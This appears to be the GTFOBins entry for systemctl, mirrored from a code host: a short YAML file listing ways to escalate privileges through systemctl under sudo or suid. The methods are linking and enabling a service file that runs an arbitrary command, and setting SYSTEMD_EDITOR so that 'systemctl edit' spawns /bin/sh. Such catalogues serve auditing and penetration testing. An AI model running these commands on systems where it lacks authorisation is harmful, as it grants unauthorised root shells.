1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/systemctl
2026-01-20 01:03:40 +01:00

32 lines
770 B
Plaintext

---
functions:
inherit:
- code: |-
systemctl
contexts:
sudo:
suid:
unprivileged:
from: less
shell:
- code: |-
echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service
comment: |-
It might happen that the service is not started with `--now`, in such cases it might be necessary to manually start it.
contexts:
sudo:
suid:
- code: |-
echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target
contexts:
sudo:
...